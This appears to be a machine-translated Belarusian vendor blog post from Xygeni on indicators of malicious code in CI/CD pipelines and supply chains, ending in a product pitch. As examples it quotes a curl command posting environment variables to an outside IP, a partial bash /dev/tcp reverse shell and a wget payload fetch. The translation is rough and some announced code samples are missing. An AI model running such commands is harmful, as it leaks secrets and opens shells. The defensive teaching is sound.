Калі вы працуеце ў CI/CD pipelineПры напісанні сцэнарыяў аўтаматызацыі або забеспячэнні бяспекі сучасных сістэм зборкі выяўленне шкоднаснага кода не з'яўляецца абавязковым; гэта крытычна важна. Атакі шкоднаснага кода не проста выкарыстоўваюць ваша асяроддзе выканання; яны выкарыстоўваюць этапы зборкі, пакеты іншых вытворцаў і задачы аўтаматызацыі, ад якіх вы карыстаецеся кожны дзень, у якасці зброі.
У гэтым артыкуле разглядаецца, якія паводзіны могуць сведчыць аб атацы шкоднаснага кода і як шкоднасны код можа распаўсюджвацца, асабліва ўнутры CI/CD асяроддзяў. Ён прызначаны для распрацоўшчыкаў і каманд DevSecOps, якія адказваюць за ланцужкі паставак праграмнага забеспячэння, аўтаматызацыю зборкі і бяспечныя працоўныя працэсы разгортвання. Разумеючы гэтыя паказчыкі і вектары атак, каманды могуць лепш выяўляць пагрозы і ўзмацняць сваю pipelineсупраць кампрамісу.
Вы навучыцеся як зламыснікі ўбудоўваюць пагрозы ў вашу сістэму pipelines, на якія сімптомы варта звярнуць увагу і як шкоднасны код можа незаўважна распаўсюджвацца праз звычайныя задачы, такія як усталёўка залежнасцей і аўтаматызацыя працоўных працэсаў. Давайце разгледзім сігналы, ад нечаканага выходнага трафіку да падробленых PR, якія ўмешваюцца ў заданні неперасягненай інтэграцыі, каб вы маглі выявіць і нейтралізаваць пагрозы, перш чым яны трапяць у прадукцыйнасць.
Што такое атака шкоднаснага кода?
Атака шкоднаснага кода — гэта калі шкоднасны код выконваецца ў вашым дадатку, зборцы pipeline, або асяроддзе выканання. Гаворка ідзе пра логіку, спецыяльна напісаную для:
- Красці сакрэты, такія як ключы API і ўліковыя дадзеныя
- Уносіць змены ў зборкі або распаўсюджваць заражаныя артэфакты
- Адкрытыя абалонкі або выманне дадзеных
Шкодны код — гэта не проста памылка. Ён кіруецца намерамі. І часта знаходзіцца ўнутры вашых звычайных інструментаў: залежнасцей, заданняў неперасягненай інтэграцыі, усталявальных скрыптоў.
Чаму распрацоўшчыкам гэта павінна надакучыць? Таму што пагроза не заўсёды зыходзіць ад знешніх зламыснікаў, якія ўздзейнічаюць на вашы API. Шкоднасны код убудоўваецца ў працоўныя працэсы, якія вы запускаеце кожны дзень, такія як усталёўкі npm або зборкі Docker. Менавіта так шкоднасны код можа распаўсюджвацца ў рэальных умовах.
Што з пералічанага можа сведчыць пра атаку шкоднаснага кода? Практычныя прыкметы для распрацоўшчыкаў
Калі вам цікава, што з пералічанага можа сведчыць пра атаку шкоднаснага кода, адказ пачынаецца з назіранай паводзін:
| Індыкатар (сімптом) | Прыклад | Асноўная прычына | тып |
|---|---|---|---|
| Нечаканы выходны трафік са зборак | curl -X POST http://198.51.100.42 -d "$(env)" у постўсталёўным скрыпце | Шкоднасны npm-пакет | Сапраўдны індыкатар |
| Змененыя або заблытаныя файлы ў рэпазітарах зыходнага кода | Заблытаны Base64 у .github/workflows/build.yml | Кампраміс у ланцужку паставак | Сапраўдны індыкатар |
| Сакрэты, да якіх атрымалі доступ нечаканыя заданні | Незацверджанае заданне CI з выкарыстаннем ${{ secrets.AWS_SECRET_KEY }} | Няправільная канфігурацыя або ўкараненне IAM | Сапраўдны індыкатар |
| Зваротная абалонка або працэс wget у зборцы | bash -i >& /dev/tcp/... shellcode на этапе CI | Падроблена pipeline скрыпт | Сапраўдны індыкатар |
| Пакет з памылкай і ўсталявальным скрыптом | lodashs or react-core-js запускае нечаканы код | Заблытанасць з залежнасцямі | Сапраўдны індыкатар |
| адмыкнутая CI/CD дазволаў | Усе заданні маюць доступ да ўсіх сакрэтаў | Слабыя канфігурацыі па змаўчанні | Дрэнная практыка (не сігнал) |
| Адсутнасць праверкі цэласнасці файлаў | Няма апавяшчэнняў пры змене канфігурацыі | Няма маніторынгу | Дрэнная практыка (не сігнал) |
Нечаканы выходны сеткавы трафік са зборкі Pipelines
сімптомы: Вашы заданні CI раптам звязваюцца з невядомымі знешнімі IP-адрасамі або даменамі.
прыклад: Узламаны пост-ўсталёўкавы скрыпт выкарыстоўвае curl для адпраўкі зменных асяроддзя на адрас 198.51.100.42.
Асноўная прычына: Шкоднасная залежнасць ад npm, дададзеная ў package.json, або зменены скрыпт CI.
Тып: Сапраўдны індыкатар
Як прадухіліць:
Блакуйце выходны трафік па змаўчанні ў вашых CI-рункерах (напрыклад, выкарыстоўвайце правілы брандмаўэра або палітыкі забароны выходнага трафіку па змаўчанні)
Дадайце сеткавую палітыку, каб дазволіць доступ толькі пэўным даменам:
Змененыя або нечаканыя файлы ў зыходных рэпазітарах
сімптомы: Новыя файлы або скрыпты з'яўляюцца ў сістэме кантролю версій без выразнага тлумачэння.
прыклад: Заблытаная карысная нагрузка Base64, перамешчаная ў package-lock.json або .github/workflows/build.yml
Асноўная прычына: Кампраметацыя ланцужкоў паставак праз шкоднасныя PR-запыты або падробленыя залежнасці.
Тып: Сапраўдны індыкатар
Як прадухіліць:
Выкарыстоўвайце аўтаматызаваны маніторынг цэласнасці файлаў (напрыклад, Tripwire або Git) hooks з праверкай кантрольнай сумы)
Забяспечце ручную праверку працоўнага працэсу і блакуйце змены ў файлах з дапамогай GitHub CODEOWNERS:
Праверка кантрольных сум абноўленых залежнасцей
Незвычайныя мадэлі выкарыстання ўліковых дадзеных
сімптомы: Сакрэты атрымліваюць доступ да нечаканых карыстальнікаў, службаў або этапаў у вашай pipeline.
прыклад: У журналах менеджара сакрэтаў паказаны доступ з задання, якое не павінна мець доступу.
Асноўная прычына: Няправільна настроеныя палітыкі IAM, уцечка ўліковых дадзеных або ўкараненне заданняў CI.
Тып: Сапраўдны індыкатар
Як прадухіліць:Увядзіце мінімальныя прывілеі ў палітыках доступу (напрыклад, адно заданне = адзін сакрэт)
Маніторынг журналаў доступу да сакрэтных дадзеных і налада абвестак аб анамальным выкарыстанні
Выкарыстоўвайце правілы абароны асяроддзя GitHub і сакрэты з абмежаванай вобласцю дзеяння:
- Праверка чаканай паводзіны заданняў з дапамогай аўтаматызаваных праверак палітык (напрыклад, OPA/Gatekeeper)
Анамальнае выкананне працэсу ў CI/CD або асяроддзе выканання
сімптомы: Зборкі або разгорнутыя праграмы запускаюць нечаканыя працэсы.
прыклад: bash -c \"wget http://malicious.site/payload.sh\" з'яўляецца падчас зборкі.
Асноўная прычына: Укаранёныя скрыпты, зваротныя абалонкі або падробленыя pipeline крокі.
Тып: Сапраўдны індыкатар
Як прадухіліць:Выкарыстоўвайце спісы дазволеных каманд (напрыклад, абмяжоўвайце толькі зацверджанымі інструментамі зборкі)
Блакуйце магчымасці працэсу ў CI, запускаючы заданні ў мінімальных кантэйнерах:
- Сканіраванне выкарыстання абалонкі і вядомых дрэнных шаблонаў з дапамогай інтэграваных з CI лінтараў і SAST
Узламаныя залежнасці, якія выконваюць шкоднасны код
сімптомы: Усталёўка скрыптоў або абнаўленняў прыводзіць да запуску несанкцыянаванага кода без вашага намеру.
прыклад: Пакет з памылкай, напрыклад lodashs or react-core-js запускае шкоднасны перахопнік перадусталёўкі.
Асноўная прычына: Блытаніна з залежнасцямі або выкарыстанне ненадзейных рэестраў.
Тып: Сапраўдны індыкатар
Як прадухіліць:
Блакіраваць залежнасці з дапамогай SBOM праверка і замацаванне хэша:
Выкарыстоўваць
.npmrcor.yarnrc.ymlкаб дадаць у белы спіс зацверджаных рэестраў:
Пастаянна аўдытуйце пакеты з дапамогай SCA такія інструменты, як Xygeni, OSV-Scanner або Dependabot
Адкрыйце для сябе найлепшую абарону ад шкоднасных праграм з адкрытым зыходным кодам
Абараніце сваё праграмнае забеспячэнне з адкрытым зыходным кодам ад новых пагроз!
Як шкоднасны код можа распаўсюджвацца ў працоўных працэсах распрацоўшчыка?
Разуменне таго, як можа распаўсюджвацца шкоднасны код, дапаможа вам спыніць яго распаўсюджванне да таго, як ён трапіць у прадукцыйную версію:
- Узламаныя пакеты з адкрытым зыходным кодам (напрыклад, заражаныя модулі npm/PyPI)
- Зламысны pull requests са схаванымі карыснымі нагрузкамі ў працоўных працэсах
- CI/CD няправільныя канфігурацыі (напрыклад, неправераныя PR-запыты, якія выконваюць заданні)
- Унутраныя пагрозы ўбудоўваюць бэкдоры падчас звычайнай распрацоўкі
Усё гэта вектары таго, як шкоднасны код можа распаўсюджвацца, не выклікаючы традыцыйных папярэджанняў.
Як выявіць і прадухіліць шкоднасны код у Pipelineі кодавыя базы
Кантрольны спіс хуткага выяўлення індыкатараў шкоднаснага кода
| Паводзіны | Інструмент выяўлення | CI/CD Чаявыя |
|---|---|---|
| Нечаканыя запыты сеткі | Маніторынг паводзін, журналы выхаду | Забаронены спіс IP-адрасоў, аўдыт выкарыстання curl/wget |
| Змена YAML або файла блакіроўкі | Адсочванне цэласнасці файлаў, адрозненні ў Git | Забяспечваць ужыванне КОДАЎЛАСНІКАЎ, папярэджваць аб зменах ключавых файлаў |
| Незвычайны сакрэтны доступ | Журналы сакрэтнага доступу, абвесткі IAM | Выкарыстоўвайце сакрэты з абмежаванай вобласцю доступу, забяспечвайце мінімальныя прывілеі |
| Выкананне снарадаў або зваротныя снарады | SAST, сканаванне белага спісу | Абмежаваць выкарыстанне абалонкі ў сцэнарах зборкі |
| Падазроныя залежнасці | SCA, SBOM праверка | Выкарыстоўвайце заблакаваныя хэшы і надзейныя рэестры |
Не чакайце абвестак аб прадукцыйнасці. Вось як распрацоўшчыкі і каманды DevSecOps могуць праактыўна выяўляць атаку шкоднаснага кода:
- Маніторынг паводзін: Выяўляць незвычайнае выкананне працэсаў, сеткавыя выклікі або змены ў файлах CI/CD.
- Кантроль залежнасцей: Выкарыстоўваць SBOMі строгія спісы дазволу для блакавання неправераных бібліятэк.
- Адсочванне цэласнасці файлаў: Выяўляць несанкцыянаваныя скрыпты або змены ў файлах канфігурацыі.
- Абмежаванні на выезд: Прадухіляйце ўцечку дадзеных падчас зборкі, аналізуючы і блакуючы выходны трафік.
- Статычны і дынамічны аналіз: Аўтаматызуйце праверкі на наяўнасць падазронай логікі, выклікаў абалонкі або кадыровак у вашым pipelines.
Больш канкрэтна:
- Статычнае тэставанне бяспекі прыкладанняў (SAST): Можа выяўляць шкоднасную логіку або заблытаны код (напрыклад, схаваны base64, падазроныя выклікі абалонкі) яшчэ да яго выканання. Інтэграцыя SAST інструменты ў ваш CI/CD працоўныя працэсы дапамагаюць выяўляць высокарызыкоўныя мадэлі ў pull requests і commits.
- Аналіз складу праграмнага забеспячэння (SCA): Вызначае вядомыя ўразлівыя або шкоднасныя пакеты падчас працэсу вырашэння залежнасцей. SCA Інструменты дапамагаюць блакаваць пакеты з памылкамі ў напісанні або з бэкдорам падчас усталёўкі, перш чым яны трапяць у ваша асяроддзе.
Усё гэта дапамагае адказаць на пытанне: што з пералічанага можа сведчыць аб атацы шкоднаснага кода, а што — проста дзіўны шум.
Рэальныя інцыдэнты, з якіх распрацоўшчыкі павінны вучыцца
Вам не патрэбныя гіпатэтычныя выпадкі; гэтыя атакі шкоднаснага кода ўжо адбыліся, і кожная з іх прапануе важныя ўрокі:
- Майкрасофт, Эпл: Пацярпеў ад блытаніны з залежнасцямі, падманам вымушаны выцягваць унутраныя пакеты з публічных рэестраў.
Ежа на вынас: Выкарыстоўвайце прыватныя рэестры і наладжвайце дазвол пакетаў з абмежаванай вобласцю дзеяння, каб пазбегнуць блытаніны з залежнасцямі. - ua-parser-js: Папулярны npm-пакет быў узламаны для разгортвання майнераў крыптавалют.
Ежа на вынас: Выкарыстоўваць SBOM праверка і замацаванне залежнасцей CI, каб пазбегнуць неправераных абнаўленняў пакетаў. - Памылка з напісаннем тэксту ў PyPI: Шкоднасныя пакеты з назвамі, якія падобныя на сапраўдныя (напрыклад, urlib3) распаўсюджваць крадзяжы інфармацыі.
Ежа на вынас: Інтэграваць SCA інструменты для выяўлення пакетаў з падобнымі назвамі і праверкі залежнасцей перад усталёўкай. - Запыты на ўдзел у праграме GitHub: Зламыснікі адправілі PR-запыты, якія незаўважна змянялі працоўныя працэсы CI, каб leak secrets.
Ежа на вынас: Забяспечце строгія праверкі PR для файлаў працоўнага працэсу і выкарыстоўвайце ўладальнікаў кода для змяненняў канфігурацыі CI.
Кожны выпадак паказвае, як шкоднасны код можа распаўсюджвацца ў асяроддзях распрацоўкі, перш чым трапіць у прадукцыйную версію, і вылучае практычныя меры для яго ранняга спынення.
Выснова: Распрацоўшчыкі кантралююць перадавую лінію барацьбы са шкоднасным кодам
Атака шкоднаснага кода не заўсёды азначае ўзлом звонку. Часам зламыснік хаваецца ў вашай сістэме. nмодулі_ode, Ваш package-lock.jsonці ваш Файл .github/workflows.
Што з пералічанага можа сведчыць аб атацы шкоднаснага кода? Адказ крыецца ў штодзённых сігналах, якія выпраменьваюць ваш код і інструменты.
Валодайце сваім CI/CDСачыце за сваімі залежнасцямі. Пазначайце дзіўныя паводзіны. Чым раней вы іх выявіце, тым менш яны распаўсюджваюцца.
Як Xygeni дапамагае выяўляць і блакаваць атакі шкоднаснага кода ў DevOps
Калі шкоднаснае праграмнае забеспячэнне распаўсюджваецца па ланцужку паставак праграмнага забеспячэння, часта ўжо занадта позна, каб яно дасягнула вытворчых магутнасцей. Вось чаму ранняе аўтаматызаванае выяўленне мае важнае значэнне. Xygeni Сістэма ранняга папярэджання прызначаны для выяўлення шкоднасных пакетаў, перш чым яны змогуць заразіць вашу кодавую базу, CI/CD pipelineабо воблачных асяроддзях.
вось як Ксігені умацоўвае вашу ахоўную сілу:
Папярэджанне аб шкоднасных праграмах нулявога дня ў рэжыме рэальнага часу
У адрозненне ад традыцыйных сканераў, якія абапіраюцца выключна на CVE, Xygeni пастаянна маніторыць публічныя рэестры, такія як npm, PyPI, Maven і NuGet, на наяўнасць падазроных паводзін і анамалій метададзеных. Як толькі пакет праяўляе прыкметы шкоднаснай актыўнасці, ён пазначаецца, змяшчаецца ў каранцін і блакуецца ад траплення ў ваш сістэмны рэестр. SDLC.
- Выяўляе шкоднасныя праграмы ў момант публікацыі
- Аўтаматычна блакуе карысныя нагрузкі нулявога дня і падазроныя ўстаноўкі hooks
- Адпраўляе апавяшчэнні ў рэжыме рэальнага часу камандам DevOps для хуткай ацэнкі
Абарона ад шкоднасных праграм, убудаваная ў кожны этап DevOps
Незалежна ад таго, ці гэта заблытаны код у пост-ўсталявальным скрыпце, крыпта-злодзей, схаваны ў транзітыўнай залежнасці, ці траянскі вобраз кантэйнера, Xygeni ўжывае шматслаёвае выяўленне шкоднасных праграм па ўсім кодзе, залежнасцях, CI/CD, і IaC:
- Статычны аналіз, які выяўляе бэкдоры, траяны і заблытаныя карысныя нагрузкі перад разгортваннем.
- Брандмаўэр залежнасцей, які блакуе траянскі пакет са шкоднаснымі скрыптамі ўсталёўкі
- CI/CD абарона, якая прадухіляе зваротныя абалонкі і ўвядзенне каманд у ваш pipelines.
Guardrails і каранцін для спынення распаўсюджвання
Xygeni не проста выяўляе шкоднасныя праграмы, але і блакуе іх. Пры выяўленні ўзламанага пакета:
- Яго адразу ж змяшчаюць на каранцін, каб пазбегнуць заражэння падчас зборкі.
- Ваш pipelineмогуць аўтаматычна перапыняць зборку, выкарыстоўваючы наладжвальныя палітыкі бяспекі Xygeni.
- Закранутыя версіі знаходзяцца ў чорным спісе, нават з унутраных або прыватных рэестраў
Даследуйце і будзьце ў курсе
Xygeni забяспечвае поўны аўдыт і гістарычны пошук шкоднасных пакетаў. Вы будзеце ведаць:
- Калі пагроза была апублікаваная
- Як гэта было выяўлена
- Ці дасягнула яно якой-небудзь часткі вашых сістэм
Акрамя таго, пацверджаныя пагрозы раскрываюцца публічна, каб абараніць больш шырокую супольнасць праграмнага забеспячэння з адкрытым зыходным кодам і прадухіліць паўторнае з'яўленне шкоднасных праграм у перайменаваных або разгалінаваных пакетах.
Не дазваляйце шкоднасным праграмам праслізнуць праз шчыліны
Ад хітрых майнераў крыптавалют да тых, хто крадзе інфармацыю з памылкамі, Атакі шкоднаснага кода хутка развіваюццаСістэма ранняга папярэджання Xygeni гарантуе, што шкоднасныя праграмы ніколі не прасоўваюцца далей этапаў распрацоўкі, зборкі або разгортвання, і што ваша каманда атрымлівае папярэджанні і абарону ў рэжыме рэальнага часу.
Пачніце бясплатную пробную версію зараз і абараніце свае DevOps-матэрыялы pipeline перад тым, як пачнецца наступная атака!
